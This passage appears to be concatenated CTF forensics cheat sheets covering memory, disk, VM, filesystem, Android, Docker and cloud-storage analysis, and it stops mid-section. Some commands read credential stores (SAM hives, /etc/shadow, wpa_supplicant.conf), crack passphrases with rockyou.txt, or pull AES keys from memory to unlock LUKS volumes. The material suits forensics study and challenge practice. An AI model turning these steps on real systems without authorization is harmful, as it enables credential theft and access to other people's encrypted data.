windows.pslist/windows.pstree- Process listingwindows.cmdline- Command line argumentswindows.netscan- Network connectionswindows.filescan- File objects in memorywindows.dumpfiles- Extract files by physical addresswindows.mftscan- MFT FILE objects in memory (timestamps, filenames). Note:mftparserwas Volatility 2 only; Vol3 usesmftscan
---
Disk Image Analysis
# Mount read-only
sudo mount -o loop,ro image.dd /mnt/evidence
# Autopsy / Sleuth Kit
fls -r image.dd # List files recursively
icat image.dd <inode> # Extract file by inode
# Carving deleted files
photorec image.dd
foremost -i image.dd---
VM Forensics (OVA/VMDK)
# OVA = TAR archive containing VMDK + OVF
tar -xvf machine.ova
# 7z reads VMDK directly (no mount needed)
7z l disk.vmdk | head -100
7z x disk.vmdk -oextracted "Windows/System32/config/SAM" -rKey files to extract from VM images:
Windows/System32/config/SAM- Password hashesWindows/System32/config/SYSTEM- Boot keyWindows/System32/config/SOFTWARE- Installed softwareUsers/*/NTUSER.DAT- User registryUsers/*/AppData/- Browser data, credentials
---
VMware Snapshot Forensics
Converting VMware snapshots to memory dumps:
# .vmss (suspended state) + .vmem (memory) → memory.dmp
vmss2core -W path/to/snapshot.vmss path/to/snapshot.vmem
# Output: memory.dmp (analyzable with Volatility/MemprocFS)Malware hunting in snapshots (Armorless): 1. Check Amcache for executed binaries near encryption timestamp 2. Look for deceptive names (Unicode lookalikes: ṙ instead of r) 3. Dump suspicious executables from memory 4. If PyInstaller-packed: pyinstxtractor → decompile .pyc 5. If PyArmor-protected: use PyArmor-Unpacker
Ransomware key recovery via MFT:
- Even if original files deleted, MFT preserves modification timestamps
- Seed-based encryption: recover mtime → derive key
vol3 -f memory.dmp windows.mftscan | grep flag
# mtime as Unix epoch → seed for PRNG → derive encryption key---
Coredump Analysis
gdb -c core.dump
(gdb) info registers
(gdb) x/100x $rsp
(gdb) find 0x0, 0xffffffff, "flag"---
Deleted Partition Recovery
Pattern (Till Delete Do Us Part): USB image with deleted partition table.
Recovery workflow:
# Check for partitions
fdisk -l image.img # Shows no partitions
# Recover partition table
testdisk image.img # Interactive recovery
# Or use kpartx to map partitions
kpartx -av image.img # Maps as /dev/mapper/loop0p1
# Mount recovered partition
mount /dev/mapper/loop0p1 /mnt/evidence
# Check for hidden directories
ls -la /mnt/evidence # Look for .dotfolders
find /mnt/evidence -name ".*" # Find hidden filesFlag hiding: Path components as flag chars (e.g., /.Meta/CTF/{f/l/a/g})
---
ZFS Forensics (Nullcon 2026)
Pattern: Corrupted ZFS pool image with encrypted dataset.
Recovery workflow: 1. Label reconstruction: All 4 ZFS labels may be zeroed. Find packed nvlist data elsewhere in the image using strings + offset searching. 2. MOS object repair: Copy known-good nvlist bytes to block locations, recompute Fletcher4 checksums:
def fletcher4(data):
a = b = c = d = 0
for i in range(0, len(data), 4):
a = (a + int.from_bytes(data[i:i+4], 'little')) & 0xffffffff
b = (b + a) & 0xffffffff
c = (c + b) & 0xffffffff
d = (d + c) & 0xffffffff
return (d << 96) | (c << 64) | (b << 32) | a3. Encryption cracking: Extract PBKDF2 parameters (iterations, salt) from ZAP objects. GPU-accelerate with PyOpenCL for PBKDF2-HMAC-SHA1, verify AES-256-GCM unwrap on CPU. 4. Passphrase list: rockyou.txt or similar. GPU rate: ~24k passwords/sec.
---
GPT Partition GUID Data Encoding (VuwCTF 2025)
Pattern (Undercut): "LLMs only" + "undercut" → not AI GPT, but GUID Partition Table.
Key insight: GPT partition GUIDs are 16 arbitrary bytes — can encode anything. Look for file magic headers in GUIDs.
# Parse GPT partition table
gdisk -l image.img
# Or with Python:
python3 -c "
import struct
data = open('image.img','rb').read()
# GPT header at LBA 1 (offset 512)
# Partition entries start at LBA 2 (offset 1024)
# Each entry is 128 bytes, GUID at offset 16 (16 bytes)
for i in range(128):
entry = data[1024 + i*128 : 1024 + (i+1)*128]
guid = entry[16:32]
if guid != b'\x00'*16:
print(f'Partition {i}: {guid.hex()}')
"First GUID starts with `BZh11AY&SY` (bzip2 magic) → concatenate GUIDs, decompress as bzip2, then decode ASCII85.
---
Windows Minidump String Carving (0xFun 2026)
Pattern (kd): Go binary crash dump. Flag as plaintext string constant in .data section survives in minidump memory.
strings -a minidump.dmp | grep -i "flag\|ctf\|0xFUN"Lesson: Minidumps contain full memory regions. String constants, keys, and secrets persist. strings -a + grep is the fast path.
---
VMDK Sparse Parsing (0xFun 2026)
Pattern (VMware): Split sparse VMDK requires grain directory + grain table traversal.
Key steps: 1. Parse VMDK sparse header (grain size, GD offset, GT coverage) 2. Follow grain directory → grain table → data grains 3. Calculate absolute disk offsets across split files 4. Mount extracted filesystem (ext4, NTFS)
Lesson: Don't assume VM images can be mounted directly. Parse the VMDK sparse format manually.
---
Memory Dump String Carving (Pragyan 2026)
Pattern (c47chm31fy0uc4n): Linux memory dump with flag in environment variables or process data.
strings -a -n 6 memdump.bin | grep -E "SYNC|FLAG|SSH_CLIENT|SESSION_KEY"
# SSH artifacts reveal source IP and ephemeral port
# Environment variables may contain keys/tokens---
Memory Dump Malware Extraction + XOR (VuwCTF 2025)
Pattern (Jellycat): Extract fake executable from Windows memory dump. Cipher: subtract 0x32, then XOR with cycling key (large multi-line string, e.g., ASCII art).
Key lesson: Always extract and reverse the actual binary from memory rather than trusting strings output (string tables may be red herrings). XOR keys can be hundreds of bytes (ASCII art, lorem ipsum).
# Extract binary, find XOR key in data section
key = b"..." # Large ASCII art string
cipher = open('extracted.bin', 'rb').read()
plaintext = bytes((b - 0x32) ^ key[i % len(key)] for i, b in enumerate(cipher))---
Linux Ransomware Memory-Key Recovery (MetaCTF 2026)
Pattern: Linux memory dump + encrypted .veg files + enc_key.bin; ransomware uses hybrid crypto (AES for files, RSA-wrapped key). Volatility may fail process enumeration due symbol/KASLR (Kernel Address Space Layout Randomization) mismatch.
Fast workflow: 1. Confirm archive integrity before analysis.
unzip -l encrypted_files.zip
# Compare listed files/sizes vs extracted tree; re-extract cleanly if mismatch
unzip -o encrypted_files.zip -d encrypted_full2. Reverse ransomware binary quickly to identify mode/layout.
strings -a ransomware.elf | grep -E "enc_key|EVP_aes|PUBLIC KEY|.veg"
objdump -d ransomware.elf | less- Typical finding:
AES-256-OFB, IV prepended to each.veg, global 32-byte AES key, RSA public key hardcoded.
3. Try Volatility normally, then pivot immediately if empty/unstable.
vol -f memdump.raw linux.pslist
vol -f memdump.raw linux.proc.Maps
vol -f memdump.raw linux.vmayarascan- If Linux plugins return empty/invalid output despite correct banner/symbols, do raw-memory candidate scanning.
4. Recover AES key via anchored candidate scan + magic validation.
- Use recurring anchor strings in memory (e.g.,
/home/.../enc_key.bin, HOME path). - Derive candidate offsets near anchors (page-aligned windows).
- Test each 32-byte candidate by decrypting first blocks of multiple
.vegfiles and checking magic bytes (%PDF-,PK\x03\x04,\x89PNG\r\n\x1a\n). - Keep candidates that satisfy multiple independent signatures.
5. Decrypt full dataset and verify output completeness.
# OFB: iv = first 16 bytes, ciphertext starts at +16
# Decrypt all *.veg recursively from a clean extraction directory- Validate recovered file count against zip listing.
- Watch for duplicated mirror trees (e.g.,
snap/*/Downloads/...) and deduplicate logically.
6. Defend against false flags.
- Treat metadata-only flags as suspicious until corroborated by challenge context.
- Prefer tokens from primary project artifacts and perform uniqueness checks:
rg -n -a '[A-Za-z]+CTF\\{[^}]+\\}' recovered_full
pdftotext recovered_full/**/*.pdf - 2>/dev/null | rg '[A-Za-z]+CTF\\{'Key lessons:
- Don’t trust a partial/stale extraction tree; re-extract zip cleanly.
- In OFB ransomware, magic-byte validation is a fast key oracle.
- A plausible
CTF{...}in metadata can be a decoy; confirm with corpus-wide consistency.
---
WordPerfect Macro XOR Extraction (srdnlenCTF 2026)
Pattern (Trilogy of Death Vol I: Corel): Corel Linux disk image containing WordPerfect macro file (fc.wcm) with XOR-encrypted byte arrays.
Key insight: WordPerfect macro files (.wcm) can contain executable macros with embedded encrypted data. The XOR formula (bb + kb) - 2*(bb & kb) is mathematically equivalent to bitwise XOR.
Brute-force 4-byte XOR key under charset constraints:
import string
docbody = [206, 56, 8, 128, 209, 47, 2, 149, ...] # encrypted bytes from macro
allowed = set(map(ord, string.ascii_lowercase + string.digits + "_{}"))
# Find valid key bytes independently for each position mod 4
cands = []
for j in range(4):
good = []
for k in range(256):
if all((docbody[i] ^ k) in allowed for i in range(j, len(docbody), 4)):
good.append(k)
cands.append(good)
# Try all combinations (usually very few candidates per position)
for k0 in cands[0]:
for k1 in cands[1]:
for k2 in cands[2]:
for k3 in cands[3]:
key = [k0, k1, k2, k3]
pt = ''.join(chr(c ^ key[i % 4]) for i, c in enumerate(docbody))
if pt.startswith("srd") and pt.endswith("}"):
print(pt)Lesson: Legacy document formats (WordPerfect, Lotus 1-2-3) can embed executable macros with obfuscated data. When you know the flag charset, brute-forcing a short XOR key is trivial by filtering each key byte independently.
---
Minidump ISO 9660 Recovery + XOR Key (srdnlenCTF 2026)
Pattern (Trilogy of Death Vol II: The Legendary Armory): Two relics in volatile memory (minidump) must be XORed; ISO 9660 directory entries in memory fragments point to hidden data.
Technique: 1. Search minidump for ISO 9660 directory entry signatures 2. Parse directory entries to locate target file offset and size 3. Decrypt file using recovered XOR key (e.g., 8-byte repeating key) 4. Parse resulting data as ZIP without central directory (local headers only)
ZIP local header parsing without central directory:
import struct, zlib
pos = 0
files = {}
while True:
off = dec.find(b"PK\x03\x04", pos)
if off < 0:
break
(ver, flag, method, _, _, crc, csize, usize, nlen, xlen) = struct.unpack_from(
"<HHHHHIIIHH", dec, off + 4)
name = dec[off + 30:off + 30 + nlen].decode()
data_off = off + 30 + nlen + xlen
comp = dec[data_off:data_off + csize]
if method == 8: # Deflate
raw = zlib.decompress(comp, -15)
else:
raw = comp
files[name] = raw
pos = data_off + csizeKey insight: When ZIP central directory is missing/corrupt, iterate local file headers (PK\x03\x04) directly. Each local header contains enough metadata (compression method, sizes, filename) to extract files independently.
---
APFS Snapshot Historical File Recovery (srdnlenCTF 2026)
Pattern (Trilogy of Death Vol III: The Poisoned Apple): APFS volume maintains historical snapshots; recovering earlier state of a key file reveals authentic value before poisoning.
Technique: 1. Extract APFS partition from DMG (locate by sector offset) 2. Search for APFS volume superblocks (magic APSB) across all snapshots, noting transaction IDs (XIDs) 3. Use icat (Sleuth Kit with APFS support) to read specific inodes across different snapshot XIDs 4. Compare file content across XID boundaries to identify when poisoning occurred 5. Use pre-poisoning value for decryption
Finding APFS volume superblocks across snapshots:
import struct
with open("apfs_partition.img", "rb") as f:
mm = f.read()
snaps = []
pos = 0
while True:
idx = mm.find(b"APSB", pos)
if idx < 0:
break
# XID is at offset -16 from magic (in block header)
hdr_start = idx - 32
xid = struct.unpack_from("<Q", mm, hdr_start + 16)[0]
blk = hdr_start // 4096
snaps.append((xid, blk))
pos = idx + 1
# Read target inode across snapshots
import subprocess
for xid, blk in sorted(set(snaps)):
try:
out = subprocess.check_output(
["icat", "-f", "apfs", "-P", "apfs", "-B", str(blk),
"apfs_partition.img", "449414"]) # target inode number
print(f"XID {xid}: {out[:64]}...")
except:
passDecryption with recovered authentic key:
import hashlib
from Cryptodome.Cipher import AES
# Pre-poisoning key value (found in earlier snapshot)
authentic_key_hex = "39f520679fd68654500f9cd44e8caed2bc897a3227dc297c4520336de2a59dd7"
key = hashlib.pbkdf2_hmac('sha256', bytes.fromhex(authentic_key_hex), salt, iterations)
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(encrypted_flag)Key insight: APFS (and other copy-on-write filesystems like ZFS/Btrfs) preserve historical file states in snapshots. When a challenge involves "poisoned" or "tampered" data, always check for older snapshots containing the original values. Use icat with different block offsets to read the same inode across different transaction IDs.
---
RAID 5 Disk Recovery via XOR (Crypto-Cat)
Pattern: RAID 5 array with one damaged/missing disk. Two working disks are provided and the third must be reconstructed using XOR parity.
How RAID 5 parity works: Data is striped across N disks with distributed parity. For any stripe, Disk1 XOR Disk2 XOR ... XOR DiskN = 0. If one disk is missing, XOR the remaining disks to recover it.
Recovery script:
# Recover missing disk2 from disk1 and disk3
with open('disk1.img', 'rb') as f:
disk1 = f.read()
with open('disk3.img', 'rb') as f:
disk3 = f.read()
# XOR byte-by-byte to recover the missing disk
disk2 = bytes(a ^ b for a, b in zip(disk1, disk3))
with open('disk2.img', 'wb') as f:
f.write(disk2)After recovery:
# Reassemble the RAID array
mdadm --create /dev/md0 --level=5 --raid-devices=3 \
disk1.img disk2.img disk3.img
# Or mount individual recovered disk if it contains a filesystem
mount -o loop,ro disk2.img /mnt/recoveredKey insight: RAID 5 uses XOR parity across all disks in each stripe. XOR is self-inverse: if A XOR B XOR C = 0, then B = A XOR C. For N-disk RAID 5, XOR all N-1 working disks together to recover the missing one.
Detection: Challenge provides multiple disk images of identical size, mentions "array", "redundancy", or "parity". file command may identify them as filesystem images or raw data.
---
Windows KAPE Triage Analysis (UTCTF 2026)
Pattern (Landfall, Sherlockk, Cold Workspace): KAPE (Kroll Artifact Parser and Extractor) triage collection ZIP containing Windows forensic artifacts. Multiple challenges reference the same triage dataset.
KAPE triage structure:
Modified_KAPE_Triage_Files/
├── C/
│ ├── Users/<username>/
│ │ ├── AppData/Local/Microsoft/Windows/PowerShell/PSReadLine/
│ │ │ └── ConsoleHost_history.txt # PowerShell command history
│ │ ├── NTUSER.DAT # User registry hive
│ │ └── AppData/Roaming/Microsoft/Windows/Recent/ # Recent files
│ ├── Windows/
│ │ ├── System32/config/
│ │ │ ├── SAM # Password hashes
│ │ │ ├── SYSTEM # System config + boot key
│ │ │ └── SOFTWARE # Installed software
│ │ └── appcompat/Programs/
│ │ └── Amcache.hve # Execution history with SHA-1 hashes
│ └── $MFT # Master File Table
└── ...High-value artifacts:
1. PowerShell history — reveals attacker commands:
cat "C/Users/*/AppData/Local/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt"
# Look for: credential access, lateral movement, data staging2. Amcache — executed programs with timestamps and hashes:
# Parse with Eric Zimmerman's AmcacheParser or regipy
python3 -c "
from regipy.registry import RegistryHive
reg = RegistryHive('C/Windows/appcompat/Programs/Amcache.hve')
for entry in reg.recurse_subkeys(as_json=True):
print(entry)
" | grep -i "flag\|suspicious\|malware"3. MFT resident data — small files stored directly in MFT records:
# Parse MFT for resident file data (files < ~700 bytes stored inline)
# Use analyzeMFT or python-ntfs
import struct
with open('$MFT', 'rb') as f:
mft_data = f.read()
# Search for flag patterns in raw MFT data
import re
flags = re.findall(rb'utflag\{[^}]+\}', mft_data)
for flag in flags:
print(f"Found: {flag.decode()}")4. Environment variables from memory dumps (Cold Workspace pattern):
# Small .dmp files may be minidumps with environment variable blocks
strings -a cold-workspace.dmp | grep -i "flag\|password\|key\|secret"
# Environment variables survive in process memory snapshotsChallenge patterns from UTCTF 2026:
- Landfall: Flag hidden in PowerShell history or Amcache execution records
- Sherlockk: Correlate Amcache entries with MFT timestamps to identify malicious activity
- Cold Workspace: Flag in environment variables extracted from memory dump
- Checkpoint A/B: Multi-part investigation using combined artifacts
Key insight: KAPE triage ZIPs contain pre-collected forensic artifacts — no need for full disk imaging. Start with PowerShell history (fastest wins) → Amcache (execution timeline) → MFT (resident data for small files) → registry hives (persistence, credentials).
---
PowerShell Ransomware Analysis
Pattern (Email From Krampus): PowerShell memory dump + network capture.
Analysis workflow: 1. Extract script blocks from minidump:
python power_dump.py powershell.DMP
# Or: strings powershell.DMP | grep -A5 "function\|Invoke-"2. Identify encryption (typically AES-CBC with SHA-256 key derivation)
3. Extract encrypted attachment from PCAP:
# Filter SMTP traffic in Wireshark
# Export attachment, base64 decode4. Find encryption key in memory dump:
# Key often generated with Get-Random, regex search:
strings powershell.DMP | grep -E '^[A-Za-z0-9]{24}$' | sort | head5. Find archive password similarly, decrypt layers
---
Android Forensics
# Extract APK from device
adb pull /data/app/com.target.app/base.apk
# Analyze APK contents
apktool d base.apk -o decompiled/
# Check: AndroidManifest.xml, res/values/strings.xml, shared_prefs/
# Extract data from Android backup
adb backup -apk -shared -all -f backup.ab
java -jar abe.jar unpack backup.ab backup.tar
tar xf backup.tar
# SQLite databases (contacts, messages, browser history)
sqlite3 /data/data/com.android.providers.contacts/databases/contacts2.db ".tables"
sqlite3 /data/data/com.android.providers.telephony/databases/mmssms.db "SELECT * FROM sms"
# Parse Android filesystem image
mkdir android_mount && mount -o ro android_image.img android_mount/
# Key locations:
# /data/data/<app>/databases/ — app SQLite databases
# /data/data/<app>/shared_prefs/ — app preferences (XML)
# /data/system/packages.xml — installed packages
# /data/misc/wifi/wpa_supplicant.conf — saved WiFi passwordsKey insight: Android stores app data in /data/data/<package>/ with SQLite databases and XML shared preferences. adb backup captures the full app state. For CTFs, check shared_prefs/ for hardcoded secrets and databases/ for flags.
---
Container Forensics (Docker)
# Export Docker image layers
docker save IMAGE:TAG -o image.tar
tar xf image.tar
# Each layer is a directory with layer.tar containing filesystem changes
# Check: layer.tar files for added/modified files, deleted files (.wh.* whiteout)
# Inspect image history for build commands (may contain secrets)
docker history IMAGE:TAG --no-trunc
# Shows every Dockerfile instruction including ARGs and ENV values
# Extract filesystem without running the container
docker create --name extract IMAGE:TAG
docker export extract -o container_fs.tar
docker rm extract
# Analyze with dive (layer-by-layer diff viewer)
dive IMAGE:TAG
# Common forensic targets in container images:
# /app/.env, /app/config/* — application secrets
# /root/.bash_history — build-time commands
# /etc/shadow — leaked credentials
# Deleted files visible in earlier layers even if removed in later onesKey insight: Docker images are layered — a file deleted in a later layer still exists in the earlier layer's tar. Use docker history --no-trunc to see full Dockerfile commands including secrets passed via ARG or ENV. The dive tool visualizes layer diffs interactively.
---
Cloud Storage Forensics (AWS S3 / GCP / Azure)
# Enumerate public S3 buckets
aws s3 ls s3://target-bucket/ --no-sign-request
aws s3 cp s3://target-bucket/flag.txt . --no-sign-request
# Check bucket versioning (previous versions may contain deleted flags)
aws s3api list-object-versions --bucket target-bucket --no-sign-request
aws s3api get-object --bucket target-bucket --key secret.txt --version-id VERSION_ID out.txt
# GCP Cloud Storage
gsutil ls gs://target-bucket/
gsutil cp gs://target-bucket/flag.txt .
# Azure Blob Storage
az storage blob list --container-name target --account-name storageaccount
az storage blob download --container-name target --name flag.txt --account-name storageaccountKey insight: Cloud storage versioning preserves deleted objects. Even if a flag file is deleted from the bucket, previous versions may still be accessible via list-object-versions. Always check for versioning-enabled buckets.
---
See Also
- disk-recovery.md - Disk recovery and extraction patterns (LUKS master key recovery, PRNG timestamp seed brute-force, VBA macro binary recovery, FemtoZip decompression, XFS reconstruction, tar duplicate entry extraction, nested matryoshka filesystem extraction, anti-carving via null byte interleaving)
CTF Forensics - Disk Recovery and Extraction Patterns
Table of Contents
- LUKS Master Key Recovery from Memory Dump (Hack.lu 2015)
- PRNG Timestamp Seed Brute-Force for Encryption Key Recovery (CSAW 2015)
- VBA Macro Encoded Binary Recovery (Sharif CTF 2016)
- FemtoZip Shared Dictionary Decompression (Sharif CTF 2016)
- XFS Filesystem Reconstruction from Corrupted Metadata (BSidesSF 2025)
- Tar Archive Duplicate Entry Extraction (BSidesSF 2025)
- Nested Matryoshka Filesystem Extraction (BSidesSF 2025)
- Anti-Carving via Null Byte Interleaving (BSidesSF 2024)
- BTRFS Subvolume/Snapshot Recovery (BSidesSF 2026)
---
LUKS Master Key Recovery from Memory Dump (Hack.lu 2015)
Recover LUKS encryption keys from VM memory dumps using AES key schedule detection:
1. Extract memory: Obtain memory dump from VM snapshot (.elf, .vmem, .raw) 2. Find AES keys: Use aeskeyfind to detect AES key schedules in memory
aeskeyfind memory.elf
# Output: candidate AES-256 keys (64 hex chars each)3. Write key to file: Convert hex key to binary
echo "deadbeef..." | xxd -r -p > master.key4. Add new LUKS passphrase using master key:
cryptsetup luksAddKey --master-key-file master.key /dev/mapper/volume
# Enter new passphrase when prompted
cryptsetup luksOpen /dev/mapper/volume decrypted
mount /dev/mapper/decrypted /mntKey insight: AES key schedules have a distinctive mathematical structure that aeskeyfind detects regardless of where they appear in memory. Works for LUKS, dm-crypt, FileVault, and BitLocker volumes.
Companion tools: rsakeyfind (RSA keys), aesfix (corrupted key recovery).
---
PRNG Timestamp Seed Brute-Force for Encryption Key Recovery (CSAW 2015)
When encryption keys are generated from PRNG seeded with timestamps, brute-force the seed:
1. Identify seed source: Look for Time.now.to_i, time(NULL), System.currentTimeMillis() used as PRNG seed 2. Determine time window: Use file metadata (creation/modification timestamps) to bound the search 3. Brute-force seeds: Try each second in a +/-24 hour window around the file timestamp
import struct
from Crypto.Cipher import AES
# Ruby-compatible Random implementation (or use ctypes for C rand)
for seed in range(timestamp - 86400, timestamp + 86400):
rng = RandomWithSeed(seed)
key = bytes([rng.rand(256) for _ in range(32)]) # AES-256
iv = bytes([rng.rand(256) for _ in range(16)])
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(ciphertext)
# Validate: check for known file signatures
if plaintext[:4] == b'\x89PNG' or plaintext[:2] == b'\xff\xd8':
print(f"Found key with seed: {seed}")
breakKey insight: Expand the time window beyond the obvious timestamp -- clock skew, timezone differences, and filesystem granularity can shift the effective seed by hours.
---
VBA Macro Encoded Binary Recovery (Sharif CTF 2016)
Excel/Word macros may encode binary data in cell values. Extract and decode:
1. Extract macro: Use olevba or open in LibreOffice to inspect VBA code 2. Identify encoding: Look for cell iteration patterns like Cells(i, j).Value 3. Reverse the encoding formula:
# If macro encodes as: cell_value = byte_value * 3 + 78
# Reverse: byte_value = (cell_value - 78) // 3
import openpyxl
wb = openpyxl.load_workbook('challenge.xlsx')
ws = wb.active
binary_data = bytearray()
for row in ws.iter_rows():
for cell in row:
if cell.value is not None:
binary_data.append((int(cell.value) - 78) // 3)
with open('recovered.elf', 'wb') as f:
f.write(binary_data)Key insight: Check the recovered file with file command -- common outputs are ELF binaries, PE executables, or images containing the flag.
---
FemtoZip Shared Dictionary Decompression (Sharif CTF 2016)
FemtoZip uses a shared dictionary model for compressing corpora of similar documents. When given a .model file and compressed data:
# Install femtozip
git clone https://github.com/gtoubassi/femtozip
cd femtozip && make
# Decompress using provided model
./fzip --model fashion.model --decompress compressed_dir/ --output decompressed_dir/After decompression, search through potentially thousands of files:
# Filter by metadata fields
grep -r "category.*forensic" decompressed_dir/ | grep "year.*2016"Key insight: FemtoZip is rare in CTFs. Identify it by the .model file and the presence of many small compressed files that share common structure (JSON, XML templates).
---
XFS Filesystem Reconstruction from Corrupted Metadata (BSidesSF 2025)
When XFS superblock or allocation group metadata is corrupted but inodes are intact:
1. Parse inode directly: XFS inodes contain extent lists with [startoff, startblock, blockcount] tuples 2. Calculate block offsets: Multiply startblock by filesystem block size (typically 4K) 3. Extract file data: Copy blocks directly from the raw disk image
# Extract file from known inode extent
# startblock=104333, blockcount=256, block_size=4096
dd if=disk.img bs=4096 skip=104333 count=256 of=recovered.jpg
# Parse XFS inode structure (at known offset)
python3 -c "
import struct
with open('disk.img', 'rb') as f:
f.seek(inode_offset)
magic = f.read(2) # 'IN' = 0x494e
# Parse di_core (96 bytes): mode, uid, gid, nlink, size, etc.
# Parse extent list: each extent = 16 bytes
# startoff (54 bits) | startblock (52 bits) | blockcount (21 bits)
"Key insight: XFS stores extent maps inline in the inode (up to ~4 extents). For files with more extents, follow the B+tree root in the inode. Use xfs_db if available: xfs_db -r disk.img → inode <num> → print.
---
Tar Archive Duplicate Entry Extraction (BSidesSF 2025)
Tar format allows multiple entries with the same filename. Standard extraction overwrites earlier entries, but specific occurrences can be targeted:
# List all entries (shows duplicates)
tar -tvf archive.tar.xz | grep -c '^\.'
# Extract specific occurrence (1-indexed)
tar -Jxvf archive.tar.xz '.' --occurrence=2 -O > second_entry.bin
# Extract all occurrences via file carving
binwalk -e archive.tar
# Or iterate programmatically
python3 -c "
import tarfile
with tarfile.open('archive.tar.xz') as tf:
for i, member in enumerate(tf.getmembers()):
if member.name == '.':
data = tf.extractfile(member).read()
with open(f'entry_{i}.bin', 'wb') as f:
f.write(data)
"Key insight: The --occurrence=N flag in GNU tar selects the Nth entry with a matching name. Without it, only the last entry survives extraction. Challenges may hide flags in middle entries that normal extraction skips.
---
Nested Matryoshka Filesystem Extraction (BSidesSF 2025)
Disk images containing nested compressed filesystem layers (potentially 10-20+ levels deep):
#!/bin/bash
# Automated layer extraction
IMG="disk.img"
for i in $(seq 1 20); do
echo "=== Layer $i ==="
file "$IMG"
# Detect and decompress
case "$(file -b "$IMG")" in
*XZ*) xz -d "$IMG"; IMG="${IMG%.xz}" ;;
*gzip*) gunzip "$IMG"; IMG="${IMG%.gz}" ;;
*ext4*)
mkdir -p "layer_$i"
sudo mount -o ro,loop "$IMG" "layer_$i"
IMG=$(find "layer_$i" -type f -name "*.img" -o -name "*.xz" | head -1)
;;
*ISO*|*HFS*|*XFS*|*AmigaDOS*)
mkdir -p "layer_$i"
sudo mount -o ro,loop "$IMG" "layer_$i" 2>/dev/null || \
sudo mount -t affs -o ro,loop "$IMG" "layer_$i" 2>/dev/null
IMG=$(find "layer_$i" -type f | head -1)
;;
esac
doneFilesystem types encountered: ext4, XFS, HFS/HFS+, AFFS (AmigaDOS), FAT. Use losetup with --offset for partitioned images. Final layer typically contains an image or text file with the flag.
Key insight: Install uncommon filesystem drivers (hfsplus, affs) beforehand. Some layers require manual sector offset calculation when partition tables are absent.
---
Anti-Carving via Null Byte Interleaving (BSidesSF 2024)
Files stored with null bytes inserted at every other position defeat magic-byte-based file carving tools (binwalk, foremost, scalpel):
1. Identify anti-carving: File carving finds nothing, but xfs_db or filesystem-level tools show the file exists with correct size 2. Extract raw blocks: Use filesystem extent information to locate file data
# XFS: find file extents
xfs_db -r disk.img -c 'inode <inum>' -c 'print'
# Extract extent data
dd if=disk.img bs=4096 skip=<startblock> count=<blockcount> of=raw.bin3. Remove interleaved null bytes: Keep only even-positioned (or odd-positioned) bytes
with open('raw.bin', 'rb') as f:
data = f.read()
# Remove null bytes at odd positions
cleaned = bytes(data[i] for i in range(0, len(data), 2))
with open('recovered.png', 'wb') as f:
f.write(cleaned)# Perl one-liner equivalent
perl -0777 -pe 's/(.)./\1/gs' raw.bin > recovered.pngKey insight: When file carving fails but the filesystem metadata is intact, extract via block-level access and look for byte-level obfuscation patterns. Null byte interleaving doubles the file size — compare actual size vs expected size as a detection heuristic.
---
---
BTRFS Subvolume/Snapshot Recovery (BSidesSF 2026)
Pattern (turn-back-the-clock): Deleted files on a BTRFS filesystem may persist in snapshots or alternate subvolumes. The default mount shows only the active subvolume, but backup snapshots contain historical file states.
Recovery workflow:
# 1. Set up loop device
sudo losetup /dev/loop0 challenge.img
# 2. List available subvolumes
sudo btrfs subvolume list /dev/loop0
# Output: ID 256 gen 7 top level 5 path @
# ID 257 gen 5 top level 5 path @backup
# 3. Mount the default subvolume (may show deleted files as missing)
sudo mount /dev/loop0 /mnt/default
ls /mnt/default/ # Flag file missing
# 4. Mount the backup subvolume
sudo mount -o subvol=@backup /dev/loop0 /mnt/backup
ls /mnt/backup/ # Flag file present!
cat /mnt/backup/flag.txt
# 5. Alternative: mount by subvolume ID
sudo mount -o subvolid=257 /dev/loop0 /mnt/backupKey BTRFS commands for forensics:
# Show filesystem info
btrfs filesystem show /dev/loop0
# List all subvolumes (including snapshots)
btrfs subvolume list -a /mnt
# Show snapshot details
btrfs subvolume show /mnt/@backup
# Find deleted subvolumes (orphaned)
btrfs-find-root /dev/loop0BTRFS snapshot types:
- Writable subvolumes:
@,@home— standard Ubuntu layout - Read-only snapshots: Created by
btrfs subvolume snapshot -r— immutable copies - Backup subvolumes:
@backup,@snap-YYYYMMDD— naming varies by tool (Timeshift, snapper)
Key insight: BTRFS is copy-on-write. Deleting a file from the active subvolume doesn't erase the data if a snapshot or alternate subvolume still references those blocks. Always enumerate all subvolumes with btrfs subvolume list. The -o subvol= mount option is the key to accessing non-default subvolumes.
Detection: file disk.img shows "BTRFS Filesystem". Challenge mentions "snapshots", "time travel", "turn back", or "recovery".
References: BSidesSF 2026 "turn-back-the-clock"
---
See Also
- disk-and-memory.md - Disk image analysis, memory forensics (Volatility), VM/OVA/VMDK, coredumps, deleted partitions, ZFS, VMware snapshots, ransomware analysis, GPT GUID encoding, VMDK sparse parsing, APFS snapshots, KAPE triage, RAID 5 XOR recovery, Android/Docker/cloud forensics
CTF Forensics - Linux and Application Forensics
Table of Contents
- Log Analysis
- Linux Attack Chain Forensics
- Docker Image Forensics (Pragyan 2026)
- Browser Credential Decryption
- Firefox Browser History (places.sqlite)
- USB Audio Extraction from PCAP
- TFTP Netascii Decoding
- TLS Traffic Decryption via Weak RSA
- ROT18 Decoding
- Common Encodings
- Git Directory Recovery (UTCTF 2024)
- KeePass Database Extraction and Cracking (H7CTF 2025)
- Git Reflog and fsck for Squashed Commit Recovery (BearCatCTF 2026)
- Browser Artifact Analysis
- Chrome/Chromium
- Firefox
- Corrupted Git Blob Repair via Byte Brute-Force (CSAW CTF 2015)
---
Log Analysis
# Search for flag fragments
grep -iE "(flag|part|piece|fragment)" server.log
# Reconstruct fragmented flags
grep "FLAGPART" server.log | sed 's/.*FLAGPART: //' | uniq | tr -d '\n'
# Find anomalies
sort logfile.log | uniq -c | sort -rn | head---
Linux Attack Chain Forensics
Pattern (Making the Naughty List): Full attack timeline from logs + PCAP + malware.
Evidence sources:
# SSH session commands
grep -A2 "session opened" /var/log/auth.log
# User command history
cat /home/*/.bash_history
# Downloaded malware
find /usr/bin -newer /var/log/auth.log -name "ms*"
# Network exfiltration
tshark -r capture.pcap -Y "tftp" -T fields -e tftp.source_fileCommon malware pattern: AES-ECB encrypt + XOR with same key, save as .enc
---
Docker Image Forensics (Pragyan 2026)
Pattern (Plumbing): Sensitive data leaked during Docker build but cleaned in later layers.
Key insight: Docker image config JSON (blobs/sha256/<config_hash>) permanently preserves ALL RUN commands in the history array, regardless of subsequent cleanup.
tar xf app.tar
